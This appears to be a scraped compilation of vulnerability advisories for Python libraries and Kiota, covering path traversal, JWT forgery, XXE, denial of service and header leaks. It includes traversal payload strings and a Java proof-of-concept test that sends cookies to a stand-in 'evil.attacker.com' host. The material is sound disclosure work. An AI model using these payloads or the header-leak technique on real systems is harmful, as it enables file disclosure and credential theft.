Title
Python-Multipart: Denial of Service via unbounded multipart part headers
Summary
Python-Multipart is a streaming multipart parser for Python. Prior to 0.0.27, python-multipart has a denial of service vulnerability in multipart part header parsing. When parsing multipart/form-data, MultipartParser previously had no limit on the number of part headers or the size of an individual part header. An attacker could send a request with either many repeated headers without terminating the header block or a single very large header value, causing excessive CPU work before request rejection or completion.

Title
Mako: Path traversal via backslash URI on Windows in TemplateLookup
Summary
Mako is a template library written in Python. Prior to 1.3.12, on Windows, a URI using backslash traversal (e.g. \..\..\ secret.txt) bypasses the directory traversal check in Template.__init__ and the posixpath-based normalization in TemplateLookup.get_template(), allowing reads of files outside the configured template directory. This vulnerability is fixed in 1.3.12.

Title
PyJWT: Public-key JWK accepted as HMAC secret enables forged HS256 tokens when mixed families are allowed
Summary
PyJWT is a JSON Web Token implementation in Python. Prior to 2.13.0, when the verifier is decoding JSON Web Tokens, while supporting both asymmetric and HMAC algorithms, the library does not validate use of JSON Web Keys in HMAC algorithm, allowing attacker to use the issuer public key as the secret key for HMAC algorithm. This vulnerability is fixed in 2.13.0.
Severity ?

Title
cryptography Subgroup Attack Due to Missing Subgroup Validation for SECT Curves
Summary
cryptography is a package designed to expose cryptographic primitives and recipes to Python developers. Prior to 46.0.5, the public_key_from_numbers (or EllipticCurvePublicNumbers.public_key()), EllipticCurvePublicNumbers.public_key(), load_der_public_key() and load_pem_public_key() functions do not verify that the point belongs to the expected prime-order subgroup of the curve. This missing validation allows an attacker to provide a public key point P from a small-order subgroup. This can lead to security issues in various situations, such as the most commonly used signature verification (ECDSA) and shared key negotiation (ECDH). When the victim computes the shared secret as S = [victim_private_key]P via ECDH, this leaks information about victim_private_key mod (small_subgroup_order). For curves with cofactor > 1, this reveals the least significant bits of the private key. When these weak public keys are used in ECDSA , it's easy to forge signatures on the small subgroup. Only SECT curves are impacted by this. This vulnerability is fixed in 46.0.5.

This missing validation allows an attacker to provide a public key point P from a small-order subgroup. This can lead to security issues in various situations, such as the most commonly used signature verification (ECDSA) and shared key negotiation (ECDH). When the victim computes the shared secret as S = [victim_private_key]P via ECDH, this leaks information about victim_private_key mod (small_subgroup_order). For curves with cofactor \u003e 1, this reveals the least significant bits of the private key. When these weak public keys are used in ECDSA , it\u0027s easy to forge signatures on the small subgroup. Only SECT curves are impacted by this. This vulnerability is fixed in 46.0.5."

Title
PyJWT: Algorithm allow-list bypass when decoding with `PyJWK` / `PyJWKClient` keys
Summary
PyJWT is a JSON Web Token implementation in Python. From 2.9.0 to 2.12.1, there is a verifier-side algorithm allow-list bypass when jwt.decode() or jwt.decode_complete() are called with a PyJWK key. The token header alg is checked against the caller-supplied algorithms allow-list, but signature verification is performed with the algorithm bound to the PyJWK object instead of the header algorithm. An attacker who controls a registered JWK/JWKS private key can sign with a disallowed algorithm, advertise an allowed algorithm in the JWT header, and still be accepted. The issue affects the documented PyJWKClient.get_signing_key_from_jwt(...) flow. This vulnerability is fixed in 2.13.0.

Title
Requests has Insecure Temp File Reuse in its extract_zipped_paths() utility function
Summary
Requests is a HTTP library. Prior to version 2.33.0, the `requests.utils.extract_zipped_paths()` utility function uses a predictable filename when extracting files from zip archives into the system temporary directory. If the target file already exists, it is reused without validation. A local attacker with write access to the temp directory could pre-create a malicious file that would be loaded in place of the legitimate one. Standard usage of the Requests library is not affected by this vulnerability. Only applications that call `extract_zipped_paths()` directly are impacted. Starting in version 2.33.0, the library extracts files to a non-deterministic location. If developers are unable to upgrade, they can set `TMPDIR` in their environment to a directory with restricted write access.

Title
PyJWKClient: missing scheme allowlist enables SSRF + token forgery via file://, ftp://, data: schemes
Summary
PyJWT is a JSON Web Token implementation in Python. Prior to 2.13.0, PyJWKClient passes its uri argument directly to urllib.request.urlopen() which uses Python stdlib's default OpenerDirector registering HTTPHandler, HTTPSHandler, FTPHandler, FileHandler, and DataHandler. There is currently no documented option to restrict which schemes PyJWKClient will fetch. If an application's jku URL ingestion path accepts attacker-influenced URLs (e.g., from JWT header, configuration file, OAuth flow parameter), the attacker can cause PyJWKClient to read arbitrary local files via file:// (SSRF on local filesystem), cause PyJWKClient to attempt FTP / data-URI fetches (broader SSRF surface), or forge tokens that PyJWT verifies as valid. The library does not directly return non-HTTP(S) URI contents to the attacker; the chained "plant a JWKS to forge tokens" scenario described in the original report requires additional application-layer flaws (attacker write access to a filesystem path, untrusted jku derivation) that this fix does not address. This vulnerability is fixed in 2.13.0.

Title
pyasn1 Vulnerable to Denial of Service via Unbounded Recursion
Summary
pyasn1 is a generic ASN.1 library for Python. Prior to 0.6.3, the `pyasn1` library is vulnerable to a Denial of Service (DoS) attack caused by uncontrolled recursion when decoding ASN.1 data with deeply nested structures. An attacker can supply a crafted payload containing thousands of nested `SEQUENCE` (`0x30`) or `SET` (`0x31`) tags with "Indefinite Length" (`0x80`) markers. This forces the decoder to recursively call itself until the Python interpreter crashes with a `RecursionError` or consumes all available memory (OOM), crashing the host application. This is a distinct vulnerability from CVE-2026-23490 (which addressed integer overflows in OID decoding). The fix for CVE-2026-23490 (`MAX_OID_ARC_CONTINUATION_OCTETS`) does not mitigate this recursion issue. Version 0.6.3 fixes this specific issue.

Title
pyOpenSSL DTLS cookie callback buffer overflow
Summary
pyOpenSSL is a Python wrapper around the OpenSSL library. Starting in version 22.0.0 and prior to version 26.0.0, if a user provided callback to `set_cookie_generate_callback` returned a cookie value greater than 256 bytes, pyOpenSSL would overflow an OpenSSL provided buffer. Starting in version 26.0.0, cookie values that are too long are now rejected.
Severity ?
CWE
- CWE-120 - Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')

Title
Authlib: Open Redirect in Authlib OIDC Implicit/Hybrid Authorization
Summary
Authlib is a Python library which builds OAuth and OpenID Connect servers. Prior to 1.6.12 and 1.7.1, an unauthenticated open redirect in Authlib's OpenIDImplicitGrant and OpenIDHybridGrant authorization endpoint lets a remote attacker cause the authorization server to issue an HTTP 302 to an attacker-chosen URL by submitting an authorization request that omits the openid scope. This vulnerability is fixed in 1.6.12 and 1.7.1.
Severity ?
6.1 (Medium)

Title
cryptography has a buffer overflow if non-contiguous buffers were passed to APIs
Summary
cryptography is a package designed to expose cryptographic primitives and recipes to Python developers. From 45.0.0 to before 46.0.7, if a non-contiguous buffer was passed to APIs which accepted Python buffers (e.g. Hash.update()), this could lead to buffer overflows. This vulnerability is fixed in 46.0.7.

CVE-2026-32597 (GCVE-0-2026-32597)
Vulnerability from cvelistv5 – Published: 2026-03-12 21:41 – Updated: 2026-07-01 12:04

Title
PyJWT accepts unknown `crit` header extensions (RFC 7515 §4.1.11 MUST violation)
Summary
PyJWT is a JSON Web Token implementation in Python. Prior to 2.12.0, PyJWT does not validate the crit (Critical) Header Parameter defined in RFC 7515 §4.1.11. When a JWS token contains a crit array listing extensions that PyJWT does not understand, the library accepts the token instead of rejecting it. This violates the MUST requirement in the RFC. This vulnerability is fixed in 2.12.0.
Severity ?
7.5 (High)

Title
Flask session does not add `Vary: Cookie` header when accessed in some ways
Summary
Flask is a web server gateway interface (WSGI) web application framework. In versions 3.1.2 and below, when the session object is accessed, Flask should set the Vary: Cookie header., resulting in a Use of Cache Containing Sensitive Information vulnerability. The logic instructs caches not to cache the response, as it may contain information specific to a logged in user. This is handled in most cases, but some forms of access such as the Python in operator were overlooked. The severity and risk depend on the application being hosted behind a caching proxy that doesn't ignore responses with cookies, not setting a Cache-Control header to mark pages as private or non-cacheable, and accessing the session in a way that only touches keys without reading values or mutating the session. The issue has been fixed in version 3.1.3.

Title
python-ecdsa: Denial of Service via improper DER length validation in crafted private keys
Summary
The `ecdsa` PyPI package is a pure Python implementation of ECC (Elliptic Curve Cryptography) with support for ECDSA (Elliptic Curve Digital Signature Algorithm), EdDSA (Edwards-curve Digital Signature Algorithm) and ECDH (Elliptic Curve Diffie-Hellman). Prior to version 0.19.2, an issue in the low-level DER parsing functions can cause unexpected exceptions to be raised from the public API functions. `ecdsa.der.remove_octet_string()` accepts truncated DER where the encoded length exceeds the available buffer. For example, an OCTET STRING that declares a length of 4096 bytes but provides only 3 bytes is parsed successfully instead of being rejected. Because of that, a crafted DER input can cause `SigningKey.from_der()` to raise an internal exception (`IndexError: index out of bounds on dimension 1`) rather than cleanly rejecting malformed DER (e.g., raising `UnexpectedDER` or `ValueError`). Applications that parse untrusted DER private keys may crash if they do not handle unexpected exceptions, resulting in a denial of service. Version 0.19.2 patches the issue.

Title
Mako: Path traversal via double-slash URI prefix in TemplateLookup
Summary
Mako is a template library written in Python. Prior to 1.3.11, TemplateLookup.get_template() is vulnerable to path traversal when a URI starts with // (e.g., //../../../secret.txt). The root cause is an inconsistency between two slash-stripping implementations. Any file readable by the process can be returned as rendered template content when an application passes untrusted input directly to TemplateLookup.get_template(). This vulnerability is fixed in 1.3.11.

Title
PyJWT: PyJWKClient unbounded JWKS endpoint requests via attacker-controlled kid values (DoS)
Summary
PyJWT is a JSON Web Token implementation in Python. Prior to 2.13.0, PyJWKClient.get_signing_key() forces a fresh HTTP request to the JWKS endpoint for every JWT with an unknown kid value, with no rate limiting. Since kid comes from the unverified token header, an attacker can trigger unlimited outbound requests. The vulnerability surfaces only when a JWKS fetch fails; an attacker can attempt to provoke that with sustained unknown-kid traffic, but the outcome depends on upstream JWKS-endpoint behavior (rate limiting, transient errors) which is beyond the attacker's control. This vulnerability is fixed in 2.13.0.

Title
Flask-AppBuilder open redirect vulnerability using HTTP host injection
Summary
Flask-AppBuilder is an application development framework built on top of Flask. Versions prior to 4.6.2 would allow for a malicious unauthenticated actor to perform an open redirect by manipulating the Host header in HTTP requests. Flask-AppBuilder 4.6.2 introduced the `FAB_SAFE_REDIRECT_HOSTS` configuration variable, which allows administrators to explicitly define which domains are considered safe for redirection. As a workaround, use a reverse proxy to enforce trusted host headers.

Title
Tornado has a DoS due to too many multipart parts
Summary
Tornado is a Python web framework and asynchronous networking library. In versions of Tornado prior to 6.5.5, the only limit on the number of parts in multipart/form-data is the max_body_size setting (default 100MB). Since parsing occurs synchronously on the main thread, this creates the possibility of denial-of-service due to the cost of parsing very large multipart bodies with many parts. This vulnerability is fixed in 6.5.5.

Title
Internationalized Domain Names in Applications (IDNA): Specially crafted inputs to idna.encode() can bypass CVE-2024-3651 fix
Summary
Internationalized Domain Names in Applications (IDNA) for Python provides support for Internationalized Domain Names in Applications (IDNA) and Unicode IDNA Compatibility Processing. In versions prior to 3.15, payloads such as `"\u0660" * N` or `"\u30fb" * N + "\u6f22"` utilize the `valid_contexto` function prior to length rejection, and for high values of `N` will take a long time to process. This is the same issue as CVE-2024-3651, however the original remediation in 2024 was not a complete fix. A specially crafted argument to the `idna.encode()` function could consume significant resources. This may lead to a denial-of-service. Starting in version 3.14, the function rejects long inputs as soon as practicable prior to any further processing to minimize resource consumption. In version 3.15, this approach was extended to lesser used alternate functions (i.e. per-label conversions and codec support). A workaround is available. Domain names cannot exceed 253 characters in length. If this length limit is enforced prior to passing the domain to the `idna.encode()` function, it should no longer consume significant resources. This is triggered by arbitrarily large inputs that would not occur in normal usage, but may be passed to the library assuming there is no preliminary input validation by the higher-level application.

lxml: Default configuration of iterparse() and ETCompatXMLParser() allows XXE to local files
Summary
lxml is a library for processing XML and HTML in the Python language. Prior to 6.1.0, using either of the two parsers in the default configuration (with resolve_entities=True) allows untrusted XML input to read local files. Setting the resolve_entities option explicitly to resolve_entities='internal' or resolve_entities=False disables the local file access. This vulnerability is fixed in 6.1.0.

Title
PyJWT: Unauthenticated DoS via unbounded Base64URL decoding of unused payload segment in b64=false detached JWS
Summary
PyJWT is a JSON Web Token implementation in Python. From 2.8.0 to 2.12.1, when verifying detached JWS tokens using the unencoded-payload option ("b64": false, RFC 7797), PyJWT performs Base64URL decoding of the compact-serialization payload segment before enforcing the detached-payload rules. For b64=false, PyJWT later discards that decoded payload and replaces it with the caller-provided detached_payload. In practice, this turns the middle segment into an attacker-controlled “work amplifier”: a remote client can supply an arbitrarily large Base64URL payload segment that forces CPU work + memory allocations even if the signature is invalid. This creates an unauthenticated DoS vector against any endpoint that verifies detached JWS using PyJWT. This vulnerability is fixed in 2.13.0.

Title
Flask App Builder has an Authentication Bypass vulnerability when using non AUTH_DB methods
Summary
Flask-AppBuilder is an application development framework. Prior to version 4.8.1, when Flask-AppBuilder is configured to use OAuth, LDAP, or other non-database authentication methods, the password reset endpoint remains registered and accessible, despite not being displayed in the user interface. This allows an enabled user to reset their password and be able to create JWT tokens even after the user is disabled on the authentication provider. Users should upgrade to Flask-AppBuilder version 4.8.1 or later to receive a fix. If immediate upgrade is not possible, manually disable password reset routes in the application configuration; implement additional access controls at the web server or proxy level to block access to the reset my password URL; and/or monitor for suspicious password reset attempts from disabled accounts.

From 2.6.0 to before 2.7.0, urllib3 could decompress the whole response instead of the requested portion (1) during the second HTTPResponse.read(amt=N) call when the response was decompressed using the official Brotli library or (2) when HTTPResponse.drain_conn() was called after the response had been read and decompressed partially (compression algorithm did not matter here). These issues could cause urllib3 to fully decode a small amount of highly compressed data in a single operation. This could result in excessive resource consumption (high CPU usage and massive memory allocation for the decompressed data) on the client side. This vulnerability is fixed in 2.7.0.
Severity ?
CWE
- CWE-409 - Improper Handling of Highly Compressed Data (Data Amplification)

Summary
Kiota abstractions RedirectHandler leaks Cookie/Proxy-Authorization headers on cross-host redirect
Details
Summary
The RedirectHandler middleware in microsoft/kiota-java (com.microsoft.kiota:microsoft-kiota-http-okHttp v1.9.0) and other Kiota libraries fails to strip sensitive HTTP headers when following 3xx redirects to a different host or scheme.
This vulnerability is present in the RedirectHandlers for:
https://github.com/microsoft/kiota-dotnet https://github.com/microsoft/kiota-java https://github.com/microsoft/kiota-python https://github.com/microsoft/kiota-typescript https://github.com/microsoft/kiota-http-go
Details
Only the Authorization header is removed; Cookie, Proxy-Authorization, and all custom headers are forwarded to the redirect target.
This is the default middleware in every kiota-java HTTP client created via KiotaClientFactory.create(). OkHttp's built-in redirect handler (which handles this correctly) is explicitly disabled at line 63 of KiotaClientFactory.java in favor of kiota's broken implementation.
Vulnerable code in RedirectHandler.java lines 107-116 (getRedirect method) in versions 1.90 and earlier:
boolean sameScheme = locationUrl.scheme().equalsIgnoreCase(requestUrl.scheme());
boolean sameHost = locationUrl.host().toString().equalsIgnoreCase(requestUrl.host().toString());
if (!sameScheme || !sameHost) {
requestBuilder.removeHeader("Authorization");
// BUG: Cookie, Proxy-Authorization, and all other headers are NOT removed
}
PoC
-
Clone the repository: git clone --depth 1 https://github.com/microsoft/kiota-java.git cd kiota-java
-
Create the PoC test file at: components/http/okHttp/src/test/java/com/microsoft/kiota/http/middleware/SecurityPoC.java
With this content:
package com.microsoft.kiota.http.middleware;
import static org.junit.jupiter.api.Assertions.*;
import com.microsoft.kiota.http.KiotaClientFactory;
import okhttp3.*;
import okhttp3.mockwebserver.*;
import org.junit.jupiter.api.Test;
public class SecurityPoC {
@Test
void crossHostRedirectLeaksCookies() throws Exception {
Request original = new Request.Builder()
.url("http://trusted.example.com/api")
.addHeader("Authorization", "Bearer token")
.addHeader("Cookie", "session=SECRET")
.addHeader("Proxy-Authorization", "Basic cHJveHk6cGFzcw==")
.build();
Response redirect = new Response.Builder()
.request(original).protocol(Protocol.HTTP_1_1)
.code(302).message("Found")
.header("Location", "http://evil.attacker.com/steal")
.body(ResponseBody.create("", MediaType.parse("text/plain")))
.build();
Request result = new RedirectHandler().getRedirect(original, redirect);
assertNotNull(result);
assertEquals("evil.attacker.com", result.url().host());
assertNull(result.header("Authorization")); // stripped (good)
assertEquals("session=SECRET", result.header("Cookie")); // LEAKED
assertEquals("Basic cHJveHk6cGFzcw==", result.header("Proxy-Authorization")); // LEAKED
}
@Test
void endToEndProof() throws Exception {
var evil = new MockWebServer();
evil.start();
evil.enqueue(new MockResponse().setResponseCode(200));
var trusted = new MockWebServer();
trusted.start();
trusted.enqueue(new MockResponse().setResponseCode(302)
.setHeader("Location", evil.url("/steal")));
OkHttpClient client = KiotaClientFactory.create(
new Interceptor[]{new RedirectHandler()}).build();
client.newCall(new Request.Builder().url(trusted.url("/api"))
.addHeader("Cookie", "session=SECRET").build()).execute();
trusted.takeRequest();
RecordedRequest captured = evil.takeRequest();
assertEquals("session=SECRET", captured.getHeader("Cookie")); // LEAKED to evil server
evil.shutdown();
trusted.shutdown();
}
}
-
Run the tests: ./gradlew :components:http:okHttp:test --tests "com.microsoft.kiota.http.middleware.SecurityPoC"
-
Result: BUILD SUCCESSFUL, 2 tests passed, 0 failures. Both tests confirm Cookie and Proxy-Authorization headers are sent to the attacker's server on cross-host redirect.
Impact
The kiota-java bug is more severe because it leaks ALL sensitive headers simultaneously (Cookie + Proxy-Authorization + custom auth headers), not just one type.
Attack scenario: An attacker who can trigger a cross-origin redirect from a trusted API (via open redirect, MITM, or DNS rebinding) captures the victim's session cookies, proxy credentials, and API keys from the redirected request.
Impact: - Session hijacking via leaked Cookie headers - Corporate proxy credential theft via leaked Proxy-Authorization - API key theft via leaked custom auth headers (X-API-Key, etc.)
All consumers of kiota-java are affected, including Microsoft Graph SDK for Java.

Summary
Tornado has incomplete validation of cookie attributes
Details
Values passed to the domain, path, and samesite arguments of RequestHandler.set_cookie were not completely validated in versions of Tornado prior to 6.5.5. In particular, semicolons would be allowed, which could be used to inject attacker-controlled values for other cookie attributes.
